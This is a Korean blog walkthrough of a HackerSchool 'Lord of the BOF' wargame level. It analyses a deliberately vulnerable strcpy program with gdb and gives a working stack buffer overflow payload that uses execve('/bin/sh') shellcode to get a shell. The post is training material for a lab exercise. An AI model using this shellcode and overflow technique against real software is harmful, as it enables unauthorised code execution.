-
lvl 04 goblin -> orcWargame/HackerSchool The Load of the BOF Redhat 2019. 3. 8. 10:34
→ 소스코드는 아래와 같다.
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - orc
4 - egghunter
5 */
6
7 #include <stdio.h>
8 #include <stdlib.h>
9
10 extern char **environ;
11
12 main(int argc, char *argv[])
13 {
14 char buffer[40];
15 int i;
16
17 if(argc < 2){
18 printf("argv error\n");
19 exit(0);
20 }
21
22 // egghunter
23 for(i=0; environ[i]; i++)
24 memset(environ[i], 0, strlen(environ[i]));
25
26 if(argv[1][47] != '\xbf')
27 {
28 printf("stack is still your friend.\n");
29 exit(0);
30 }
31
32 strcpy(buffer, argv[1]);
33 printf("%s\n", buffer);
34 }
→ 어셈블리 코드는 아래와 같다.
0x8048500
0x8048501
0x8048503
0x8048506
0x804850a
0x804850c
0x8048511
0x8048516
0x8048519
0x804851b
0x8048520
0x8048523
0x8048524
0x804852b
0x804852c
0x8048530
0x8048533
0x804853a
0x804853f
0x8048543
0x8048545
0x8048547
0x804854a
0x8048551
0x8048556
0x8048559
0x804855a
0x804855f
0x8048562
0x8048564
0x8048565
0x8048567
0x804856a
0x8048571
0x8048576
0x8048579
0x804857a
0x804857f
0x8048582
0x8048585
0x8048587
0x804858a
0x804858d
0x804858f
0x8048592
0x8048595
0x8048597
0x804859c
0x80485a1
0x80485a4
0x80485a6
0x80485ab
0x80485ae
0x80485b0
0x80485b3
0x80485b6
0x80485b8
0x80485b9
0x80485bc
0x80485bd
0x80485c2
0x80485c5
0x80485c8
0x80485c9
0x80485ce
0x80485d3
0x80485d6
0x80485d7
<main>
<main+1>
<main+3>
<main+6>
<main+10>
<main+12>
<main+17>
<main+22>
<main+25>
<main+27>
<main+32>
<main+35>
<main+36>
<main+43>
<main+44>
<main+48>
<main+51>
<main+58>
<main+63>
<main+67>
<main+69>
<main+71>
<main+74>
<main+81>
<main+86>
<main+89>
<main+90>
<main+95>
<main+98>
<main+100>
<main+101>
<main+103>
<main+106>
<main+113>
<main+118>
<main+121>
<main+122>
<main+127>
<main+130>
<main+133>
<main+135>
<main+138>
<main+141>
<main+143>
<main+146>
<main+149>
<main+151>
<main+156>
<main+161>
<main+164>
<main+166>
<main+171>
<main+174>
<main+176>
<main+179>
<main+182>
<main+184>
<main+185>
<main+188>
<main+189>
<main+194>
<main+197>
<main+200>
<main+201>
<main+206>
<main+211>
<main+214>
<main+215>
push %ebp
mov %ebp,%esp
sub %esp,44
cmp DWORD PTR [%ebp+8],1
jg 0x8048523 <main+35>
push 0x8048630
call 0x8048410 <printf>
add %esp,4
push 0
call 0x8048420 <exit>
add %esp,4
nop
mov DWORD PTR [%ebp-44],0x0
nop
lea %esi,[%esi*1]
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049750
cmp DWORD PTR [%eax+%edx],0
jne 0x8048547 <main+71>
jmp 0x8048587 <main+135>
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049750
mov %edx,DWORD PTR [%eax+%edx]
push %edx
call 0x80483f0 <strlen>
add %esp,4
mov %eax,%eax
push %eax
push 0
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049750
mov %edx,DWORD PTR [%eax+%edx]
push %edx
call 0x8048430 <memset>
add %esp,12
inc DWORD PTR [%ebp-44]
jmp 0x8048530 <main+48>
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
add %edx,47
cmp BYTE PTR [%edx],0xbf
je 0x80485b0 <main+176>
push 0x804863c
call 0x8048410 <printf>
add %esp,4
push 0
call 0x8048420 <exit>
add %esp,4
mov %esi,%esi
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
push %edx
lea %eax,[%ebp-40]
push %eax
call 0x8048440 <strcpy>
add %esp,8
lea %eax,[%ebp-40]
push %eax
push 0x8048659
call 0x8048410 <printf>
add %esp,8
leave
ret
→ egghunter를 통해 환경변수의 전부를 0으로 초기화한다. 따라서, 환경변수에 쉘 코드를 넣고 실행하는 방법을 사용할 수 없다. 그리고 argv[1][47]의 값이 '\xbf'가 아니면 종료한다. 즉, 주소 값이 bf로 시작하는 스택 영역인지를 체크하고 RET 주소를 마지막에 \x??\x??\x??\xbf 로만 만들어주면 된다. 스택구조는 아래와 같다.
→ RET 주소에 도달하기 위해 BUFFER[40]+SFP(4), 총 44바이트의 NOP를 채우고 RET 주소자리에 쉘코드를 저장한다. gdb를 이용해 BUFFER의 시작 주소를 알아낸다.
[goblin@localhost temp]$ gdb -q orc
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
(…) 중략
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
End of assembler dump.
(gdb) b *main+197
Breakpoint 1 at 0x80485c5
(gdb) r $(python -c 'print "A"*40+"B"*4+"\xbf\xbf\xbf\xbf"')
Starting program: /home/goblin/temp/orc $(python -c 'print "A"*40+"B"*4+"\xbf\xbf\xbf\xbf"')
Breakpoint 1, 0x80485c5 in main ()
(gdb) x/30wx $esp
0xbffffa9c: 0x00000016 0x41414141 0x41414141 0x41414141
0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffacc: 0xbfbfbfbf 0x00000000 0xbffffb14 0xbffffb20
→ 버퍼의 시작주소는 A(0x41)값이 들어가기 시작한 부분으로 0xbffffaa0, RET 주소는 0xbfbfbfbf 값이 저장된 0xbffffacc이다.
→ 다음과 같은 페이로드를 구성할 수 있다.
→ 구성한 페이로드를 바탕으로 아래와 같이 공격한다.
./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+”\x90”*20+”\xa0\xfa\xff\xbf”’)
→ 수행 결과는 아래와 같다.
'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글
lvl 06 wolfman -> darkelf (0) 2019.03.11 lvl 05 orc -> wolfman (0) 2019.03.11 lvl 03 cobolt -> goblin (0) 2019.01.22 lvl 02 gremlin -> cobolt (0) 2019.01.13 lvl 01 gate -> gremlin (0) 2019.01.10 댓글